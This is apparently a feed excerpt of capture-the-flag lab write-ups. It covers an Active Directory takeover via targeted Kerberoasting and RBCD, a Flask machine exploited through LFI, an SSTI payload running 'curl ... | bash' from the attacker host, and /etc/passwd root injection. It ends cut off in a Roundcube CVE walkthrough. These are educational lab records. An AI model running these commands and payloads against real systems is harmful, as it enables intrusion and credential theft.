&lt;p&gt;Using the &lt;code&gt;s.johansson&lt;/code&gt; credentials, BloodHound was reviewed for additional privileges and relationships. It showed that &lt;code&gt;s.johansson&lt;/code&gt; had &lt;code&gt;WriteSPN&lt;/code&gt; over &lt;code&gt;w.dafoe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260909161847.png&quot; alt=&quot;s.johansson has WriteSPN over w.dafoe&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This permission allowed a targeted Kerberoasting attack. The attack temporarily assigned an SPN to &lt;code&gt;w.dafoe&lt;/code&gt;, requested a Kerberos service ticket for the account, and removed the SPN after the ticket was obtained:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 targetedKerberoast.py -v -d &apos;recovery.local&apos; -u &apos;s.johansson&apos; -p &apos;R0ckth!spass678&apos;

[*] Starting kerberoast attacks
[VERBOSE] SPN added successfully for (w.dafoe)
[+] Printing hash for (w.dafoe)
$krb5tgs$23$*w.dafoe$RECOVERY.LOCAL$recovery.local/w.dafoe*$&amp;lt;SNIP&amp;gt;999851762ae5479c202a4e124c25f5c464b8d31a20c37dd051798ea60c111383556f765
[VERBOSE] SPN removed successfully for (w.dafoe)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting TGS hash was saved and cracked offline using John the Ripper:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
mdmdancer3!      (?)
1g 0:00:00:01 DONE
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password for &lt;code&gt;w.dafoe&lt;/code&gt; was recovered:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;w.dafoe : mdmdancer3!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Domain Compromise&lt;/h2&gt;
&lt;h3&gt;RBCD to Domain Compromise&lt;/h3&gt;
&lt;p&gt;With valid credentials for &lt;code&gt;w.dafoe&lt;/code&gt;, BloodHound showed that the account had &lt;code&gt;GenericAll&lt;/code&gt; over the domain controller.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260909162317.png&quot; alt=&quot;w.dafoe has GenericAll on the DC&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This level of control allowed Resource-Based Constrained Delegation (RBCD) to be configured against &lt;code&gt;DC01$&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First, a new computer account was created to act as the delegation source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-addcomputer -method LDAPS -computer-name &apos;ATTACKERSYSTEM$&apos; -computer-pass &apos;Summer2018!&apos; -dc-host 172.16.18.19 -domain-netbios recovery.local &apos;recovery.local/w.dafoe:mdmdancer3!&apos;
[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The newly created computer account was then granted delegation rights over the domain controller:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-rbcd -delegate-from &apos;ATTACKERSYSTEM$&apos; -delegate-to &apos;DC01$&apos; -action &apos;write&apos; &apos;recovery.local/w.dafoe:mdmdancer3!&apos;
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on DC01$ via S4U2Proxy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With the delegation relationship in place, a service ticket for &lt;code&gt;cifs/DC01.recovery.local&lt;/code&gt; was requested while impersonating &lt;code&gt;Administrator&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-getST -spn &apos;cifs/DC01.recovery.local&apos; -impersonate &apos;Administrator&apos; -dc-ip 172.16.18.19 &apos;recovery.local/ATTACKERSYSTEM$:Summer2018!&apos;
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.recovery.local@RECOVERY.LOCAL.ccache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting Kerberos ticket was then used with &lt;code&gt;wmiexec&lt;/code&gt;. The DC FQDN was first added to &lt;code&gt;/etc/hosts&lt;/code&gt;, and the generated ccache file was exported through &lt;code&gt;KRB5CCNAME&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;172.16.18.19 DC01.recovery.local DC01&apos; &amp;gt;&amp;gt; /etc/hosts

export KRB5CCNAME=Administrator@cifs_DC01.recovery.local@RECOVERY.LOCAL.ccache

impacket-wmiexec Administrator@DC01.recovery.local -k -no-pass
[*] SMBv3.0 dialect used
C:\&amp;gt;whoami
recovery\administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting session was authenticated as &lt;code&gt;recovery\administrator&lt;/code&gt;, providing administrative control of the domain controller. The final flag was then retrieved from the Administrator desktop:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\Administrator\Desktop&amp;gt;type root.flg
ed2&amp;lt;SNIP&amp;gt;4cd
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Poet - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/poet/poet/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/poet/poet/</guid><description>Poet writeup</description><pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Poet is a Linux machine running a Flask &quot;Note Library&quot; application on port &lt;code&gt;6767&lt;/code&gt;. Initial enumeration revealed a &lt;code&gt;/download&lt;/code&gt; endpoint vulnerable to Local File Inclusion (LFI), which allowed arbitrary local files to be read.&lt;/p&gt;
&lt;p&gt;The LFI was used to inspect &lt;code&gt;/proc/self/cmdline&lt;/code&gt; and &lt;code&gt;/proc/self/cwd/app.py&lt;/code&gt;, exposing the application&apos;s source code. The source revealed that the &lt;code&gt;SECRET&lt;/code&gt; value was loaded from an environment variable and used to authenticate requests to the &lt;code&gt;/admin&lt;/code&gt; panel. Reading &lt;code&gt;/proc/self/environ&lt;/code&gt; through the LFI disclosed the secret and granted access to the administrator functionality.&lt;/p&gt;
&lt;p&gt;The admin panel allowed notes to be created with Jinja2 templates. Since notes were rendered through &lt;code&gt;render_template_string&lt;/code&gt;, a Server-Side Template Injection (SSTI) vulnerability was used to achieve remote code execution and obtain a shell as &lt;code&gt;william&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For privilege escalation, a custom SUID binary, &lt;code&gt;/usr/local/bin/poet-fetch&lt;/code&gt;, was identified. The binary fetched remote content and appended lines beginning with &lt;code&gt;new poem:&lt;/code&gt; to an arbitrary output file. Although writes under &lt;code&gt;/root&lt;/code&gt; were blocked, &lt;code&gt;/etc/passwd&lt;/code&gt; was writable through the binary. By creating a UID 0 account with an empty password field, a root shell was obtained.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;A full TCP scan was performed to identify the exposed services:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Poet nmap -sC -sV -p- 172.16.18.22 --min-rate 5000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-10 11:40 -0400
Nmap scan report for 172.16.18.22
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5f:d0:4c:cf:b1:d7:d9:b3:7a:23:7c:f0:b8:ef:d7:25 (ECDSA)
|_  256 0c:fc:7a:74:83:42:46:a9:dc:44:19:ce:4e:a4:a8:ed (ED25519)
6767/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.12.3)
|_http-title: Note Library
|_http-server-header: Werkzeug/3.1.4 Python/3.12.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Only SSH and the web application were exposed. Since the application was running on port &lt;code&gt;6767&lt;/code&gt;, web enumeration was prioritized.&lt;/p&gt;
&lt;h3&gt;Web Enumeration&lt;/h3&gt;
&lt;p&gt;We first accessed the web application:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910124123.png&quot; alt=&quot;Note Library home page&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Opening one of the available notes revealed a download option:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910124202.png&quot; alt=&quot;Note view with Download button&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Intercepting the request showed that the application directly used the supplied &lt;code&gt;note&lt;/code&gt; parameter when downloading the file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /download HTTP/1.1
Host: 172.16.18.22:6767
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://172.16.18.22:6767
Connection: keep-alive
Referer: http://172.16.18.22:6767/view
Upgrade-Insecure-Requests: 1
Priority: u=0, i

note=poem_shakespeare.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910124330.png&quot; alt=&quot;Intercepted download request showing the note parameter&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The parameter was vulnerable to directory traversal, allowing arbitrary local files to be read:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;note=../../../../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910124502.png&quot; alt=&quot;Reading /etc/passwd through the LFI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We then used the same LFI to inspect &lt;code&gt;/proc/self/cmdline&lt;/code&gt; and identify how the application was running:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;note=../../../../../../../proc/self/cmdline
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910124755.png&quot; alt=&quot;Reading /proc/self/cmdline through the LFI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The application was running from &lt;code&gt;app.py&lt;/code&gt;. We then used &lt;code&gt;/proc/self/cwd&lt;/code&gt; to reference the application&apos;s current working directory and read the source code directly:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;note=../../../../../../../../../../proc/self/cwd/app.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910133626.png&quot; alt=&quot;Retrieving app.py through /proc/self/cwd&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Source Code Analysis&lt;/h3&gt;
&lt;p&gt;The source code confirmed that &lt;code&gt;/download&lt;/code&gt; joined the user-controlled &lt;code&gt;note&lt;/code&gt; value directly with &lt;code&gt;NOTES_DIR&lt;/code&gt;, resulting in the LFI.&lt;/p&gt;
&lt;p&gt;More importantly, the &lt;code&gt;/admin&lt;/code&gt; route compared a cookie named &lt;code&gt;auth&lt;/code&gt; against the &lt;code&gt;SECRET&lt;/code&gt; environment variable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/download&quot;, methods=[&quot;POST&quot;])
def download_note():
    note = request.form.get(&quot;note&quot;)
    if not note:
        return &quot;&amp;lt;h1&amp;gt;Invalid request: no note specified&amp;lt;/h1&amp;gt;&quot;, 400

    path = os.path.join(NOTES_DIR, note)
    if not os.path.isfile(path):
        return &quot;&amp;lt;h1&amp;gt;File not found&amp;lt;/h1&amp;gt;&quot;, 404

    try:
        return send_file(path, as_attachment=True)
    except Exception as e:
        return f&quot;&amp;lt;h1&amp;gt;Error downloading file:&amp;lt;/h1&amp;gt;&amp;lt;pre&amp;gt;{e}&amp;lt;/pre&amp;gt;&quot;, 500

@app.route(&quot;/admin&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def admin():
    cookie = request.cookies.get(&quot;auth&quot;)
    if cookie != SECRET:
        return &quot;&amp;lt;h1&amp;gt;Access Denied&amp;lt;/h1&amp;gt;&quot;, 403
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;/view&lt;/code&gt; route also contained an interesting behavior. Although the requested filename was sanitized with &lt;code&gt;secure_filename()&lt;/code&gt; and path traversal was blocked, the contents of the note were passed to &lt;code&gt;render_template_string()&lt;/code&gt;. This meant note contents would be interpreted as Jinja2 templates.&lt;/p&gt;
&lt;p&gt;The admin panel additionally allowed arbitrary note content to be written into the &lt;code&gt;notes&lt;/code&gt; directory, creating a potential path to SSTI and code execution.&lt;/p&gt;
&lt;h2&gt;Shell as william&lt;/h2&gt;
&lt;h3&gt;Recovering the Admin Secret&lt;/h3&gt;
&lt;p&gt;The application loaded &lt;code&gt;SECRET&lt;/code&gt; from the environment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SECRET = os.getenv(&quot;SECRET&quot;)
if not SECRET:
    raise Exception(&quot;SECRET environment variable not set!&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the application was already vulnerable to LFI, we attempted to read &lt;code&gt;/proc/self/environ&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;note=../../../../../../../../../../../proc/self/environ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910134007.png&quot; alt=&quot;Reading /proc/self/environ through the LFI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The environment variables disclosed the secret:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SECRET=fds43vxnvqeqpplo88761321sdcdsa21
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;/admin&lt;/code&gt; route expected the secret inside the &lt;code&gt;auth&lt;/code&gt; cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@app.route(&quot;/admin&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def admin():
    cookie = request.cookies.get(&quot;auth&quot;)
    if cookie != SECRET:
        return &quot;&amp;lt;h1&amp;gt;Access Denied&amp;lt;/h1&amp;gt;&quot;, 403
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We therefore set the cookie to the recovered value and accessed the administrator panel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /admin HTTP/1.1
Host: 172.16.18.22:6767
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: auth=fds43vxnvqeqpplo88761321sdcdsa21
Upgrade-Insecure-Requests: 1
Priority: u=0, i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910134443.png&quot; alt=&quot;Admin panel accessed with the recovered secret&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The administrator panel allowed us to create notes and explicitly indicated that Jinja2 templates were supported. Since the application&apos;s &lt;code&gt;/view&lt;/code&gt; route rendered note contents through &lt;code&gt;render_template_string()&lt;/code&gt;, this created a direct SSTI attack surface.&lt;/p&gt;
&lt;h3&gt;SSTI to RCE&lt;/h3&gt;
&lt;p&gt;We created a note named &lt;code&gt;evil.py&lt;/code&gt; containing a Jinja2 SSTI payload that executed a command on the server and retrieved a script from our attack host:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{ config.__class__.from_envvar.__globals__.__builtins__.__import__(&quot;os&quot;).popen(&quot;curl 10.8.0.30/index.html | bash&quot;).read() }}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910135538.png&quot; alt=&quot;Creating the malicious note containing the SSTI payload&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The new note then appeared on the application&apos;s home page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://172.16.18.22:6767/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910135607.png&quot; alt=&quot;Malicious note listed in the application&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Opening the malicious note triggered the Jinja2 template evaluation. The application fetched the hosted &lt;code&gt;index.html&lt;/code&gt; and executed it, resulting in a reverse shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted%20image%2020260910135752.png&quot; alt=&quot;Reverse shell obtained through SSTI&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The shell landed as &lt;code&gt;william&lt;/code&gt;. We retrieved the user flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/$ cd
william@Dante:~$ ls -la
total 24
drwxr-x--- 2 william william 4096 Sep 10 15:39 .
drwxr-xr-x 3 root    root    4096 Dec  4  2025 ..
lrwxrwxrwx 1 root    root       9 Dec  4  2025 .bash_history -&amp;gt; /dev/null
-rw-r--r-- 1 william william  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 william william 3797 Dec  4  2025 .bashrc
-rw-r--r-- 1 william william  807 Mar 31  2024 .profile
-rw------- 1 william william   32 Sep 10 15:39 user.flg
william@Dante:~$ cat user.flg
39a2f7b6a7248cedd3896f50bd4db83e
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shell as root&lt;/h2&gt;
&lt;h3&gt;SUID Enumeration&lt;/h3&gt;
&lt;p&gt;With a shell as &lt;code&gt;william&lt;/code&gt;, we searched for SUID binaries and identified a non-standard executable:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/fusermount3
/usr/local/bin/poet-fetch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The custom SUID binary &lt;code&gt;/usr/local/bin/poet-fetch&lt;/code&gt; became the main privilege escalation target.&lt;/p&gt;
&lt;h3&gt;Analyzing poet-fetch&lt;/h3&gt;
&lt;p&gt;There was no &lt;code&gt;ltrace&lt;/code&gt; available on the target, so &lt;code&gt;strace&lt;/code&gt; was used to inspect the binary and identify its behavior:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/$ strace /usr/local/bin/poet-fetch
execve(&quot;/usr/local/bin/poet-fetch&quot;, [&quot;/usr/local/bin/poet-fetch&quot;], 0x7ffc4c0a5000 /* 23 vars */) = 0
brk(NULL)                               = 0x5aff804e9000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0

&amp;lt;SNIP&amp;gt;
openat(AT_FDCWD, &quot;/lib/x86_64-linux-gnu/libcurl.so.4&quot;, O_RDONLY|O_CLOEXEC) = 3

&amp;lt;SNIP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The trace showed that the custom binary was linked against &lt;code&gt;libcurl&lt;/code&gt;. We then checked its help output to understand how it handled the downloaded content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/$ /usr/local/bin/poet-fetch -h
Usage: /usr/local/bin/poet-fetch &amp;lt;url&amp;gt; &amp;lt;output_file&amp;gt;
Use --help for more information.
william@Dante:/$ /usr/local/bin/poet-fetch --help
Usage: /usr/local/bin/poet-fetch &amp;lt;url&amp;gt; &amp;lt;output_file&amp;gt;

Description:
  poet-fetch is a small utility that fetches remote notes from a URL
  and looks for lines starting with &apos;new poem:&apos;. If found, it appends
  the poem content to the specified local file.

Example:
  /usr/local/bin/poet-fetch https://example.com/poem.txt /home/user/poems.txt

Note:
  Useful for syncing collaborative poetry entries from the web.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary accepted both a remote URL and an arbitrary output path. This indicated a potential arbitrary file write primitive.&lt;/p&gt;
&lt;h3&gt;Arbitrary File Write to Root&lt;/h3&gt;
&lt;p&gt;We first attempted to write an SSH key directly into &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/$ /usr/local/bin/poet-fetch http://10.8.0.30/id_rsa.pub /root/.ssh/authorized_keys
Error: Writing to /root or its subdirectories is forbidden.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary explicitly blocked writes under &lt;code&gt;/root&lt;/code&gt;, so we looked for another sensitive file that was writable. &lt;code&gt;/etc/passwd&lt;/code&gt; was not protected by the same restriction.&lt;/p&gt;
&lt;p&gt;The utility only processed lines beginning with &lt;code&gt;new poem:&lt;/code&gt;, so we created a file containing a new UID 0 account with an empty password field:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;➜  Poet cat passwd.txt
new poem:
polar::0:0::/tmp:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The file was then hosted locally and fetched by the SUID binary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/opt/poetapp$ /usr/local/bin/poet-fetch http://10.8.0.30/passwd.txt /etc/passwd
Poem appended to /etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The new &lt;code&gt;polar&lt;/code&gt; account had UID &lt;code&gt;0&lt;/code&gt; and no password configured. We therefore switched to the account with &lt;code&gt;su&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;william@Dante:/opt/poetapp$ su polar
root@Dante:/opt/poetapp# id
uid=0(root) gid=0(root) groups=0(root)
root@Dante:/opt/poetapp# cd /root
root@Dante:/root# ls
auto-restore.sh  restore  root.flg
root@Dante:/root# cat root.flg
abf&amp;lt;SNIP&amp;gt;66a
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Buoy - Ronin66 Machine</title><link>https://xiaowenjictf.github.io/posts/roninlabs/buoy/buoy/</link><guid isPermaLink="true">https://xiaowenjictf.github.io/posts/roninlabs/buoy/buoy/</guid><description>Buoy writeup</description><pubDate>Wed, 09 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;Ronin starts with an anonymously accessible FTP server exposing a Roundcube backup directory. The backup&apos;s &lt;code&gt;config.inc.php&lt;/code&gt; leaks a cleartext database password that also works for the live Roundcube instance on port 80. The running version (Roundcube 1.6.10) is vulnerable to CVE-2025-49113, which gives command execution as &lt;code&gt;www-data&lt;/code&gt;. From there, the current Roundcube config provides valid database credentials, and the &lt;code&gt;session&lt;/code&gt; table stores an encrypted password for the user &lt;code&gt;leo&lt;/code&gt;. Decrypting it with the &lt;code&gt;des_key&lt;/code&gt; from the config recovers &lt;code&gt;leo&lt;/code&gt;&apos;s SSH password. Privilege escalation abuses a root cron job that runs &lt;code&gt;tar&lt;/code&gt; with a wildcard inside &lt;code&gt;leo&lt;/code&gt;&apos;s mail directory, exploited through &lt;code&gt;tar&lt;/code&gt; checkpoint actions to obtain a SUID root shell.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;h3&gt;Initial Enumeration&lt;/h3&gt;
&lt;p&gt;We begin with a full TCP port scan with service and default script detection:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -p- 172.16.18.10 --min-rate 5000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=roundserver
143/tcp open  imap     Dovecot imapd (Ubuntu)
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp open  ssl/pop3 Dovecot pop3d (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The scan reveals several interesting services. FTP allows anonymous authentication and exposes an &lt;code&gt;old_rc&lt;/code&gt; directory. The host is also running a full mail stack through Dovecot, while the TLS certificate reveals the hostname &lt;code&gt;roundserver&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Port 80 is serving the default Apache page, so there is no immediately visible application at the web server&apos;s root. The exposed FTP directory is therefore the most promising lead and is worth investigating first.&lt;/p&gt;
&lt;h3&gt;FTP Enumeration&lt;/h3&gt;
&lt;p&gt;We connect to the FTP service using anonymous authentication:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ftp 172.16.18.10
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Name (172.16.18.10:root): ftp
331 Please specify the password.
Password:
230 Login successful.
ftp&amp;gt; ls -la
drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
ftp&amp;gt; cd old_rc
ftp&amp;gt; ls
-rwxr-xr-x    1 115      116         12714 Oct 31  2025 INSTALL
-rwxr-xr-x    1 115      116         35147 Oct 31  2025 LICENSE
-rwxr-xr-x    1 115      116          3853 Oct 31  2025 README.md
-rwxr-xr-x    1 115      116          1049 Oct 31  2025 SECURITY.md
drwxr-xr-x    2 115      116          4096 Oct 31  2025 bin
drwxr-xr-x    2 115      116          4096 Oct 31  2025 config
-rwxr-xr-x    1 115      116         11200 Oct 31  2025 index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The contents of &lt;code&gt;old_rc&lt;/code&gt; resemble a complete PHP application. The &lt;code&gt;config&lt;/code&gt; directory and &lt;code&gt;index.php&lt;/code&gt; are particularly interesting, as configuration files often contain database credentials or other sensitive information.&lt;/p&gt;
&lt;p&gt;We download the exposed files for offline analysis:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget -r --no-parent --level=0 --user=&quot;ftp&quot; --password=&quot;ftp&quot; ftp://172.16.18.10/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Examining the downloaded files confirms that &lt;code&gt;old_rc&lt;/code&gt; contains a copy of the Roundcube application. This gives us a useful starting point for investigating the live web application.&lt;/p&gt;
&lt;h3&gt;Web Enumeration&lt;/h3&gt;
&lt;p&gt;Since the FTP backup identifies the application as Roundcube, we now need to determine where the live instance is hosted on the web server.&lt;/p&gt;
&lt;p&gt;We enumerate directories on the HTTP service:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u http://172.16.18.10/ -x 403

&amp;lt;SNIP&amp;gt;

[11:44:29] Starting:
[11:46:12] 200 -    5KB - /roundcube/index.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The scan confirms that the live Roundcube instance is accessible under &lt;code&gt;/roundcube/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the application location identified, we can compare the live instance with the copy obtained through FTP. Examining the backed-up &lt;code&gt;config/config.inc.php&lt;/code&gt; reveals a database connection string containing credentials in cleartext:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$config[&apos;db_dsnw&apos;] = &apos;mysql://marina:3467marina@localhost/roundcube&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The credentials are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;marina : 3467marina
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We test these credentials against the live Roundcube instance at &lt;code&gt;/roundcube/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image.png&quot; alt=&quot;Successful Roundcube login as marina&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The credentials are valid and allow us to authenticate to the Roundcube webmail interface.&lt;/p&gt;
&lt;p&gt;There are no interesting emails in the mailbox, so we proceed by identifying the exact version of the running application.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/image1.png&quot; alt=&quot;Roundcube version banner&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Roundcube Webmail 1.6.10
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The running version is Roundcube 1.6.10, which is affected by CVE-2025-49113. This vulnerability provides a path to remote code execution when an authenticated account is available.&lt;/p&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;Roundcube 1.6.10 is affected by CVE-2025-49113. A public PoC handles authentication and delivers a command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://github.com/fearsoff-org/CVE-2025-49113
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we have already recovered valid &lt;code&gt;marina&lt;/code&gt; credentials from the exposed FTP backup, we can use them with the exploit and provide a bash reverse-shell payload:&lt;/p&gt;
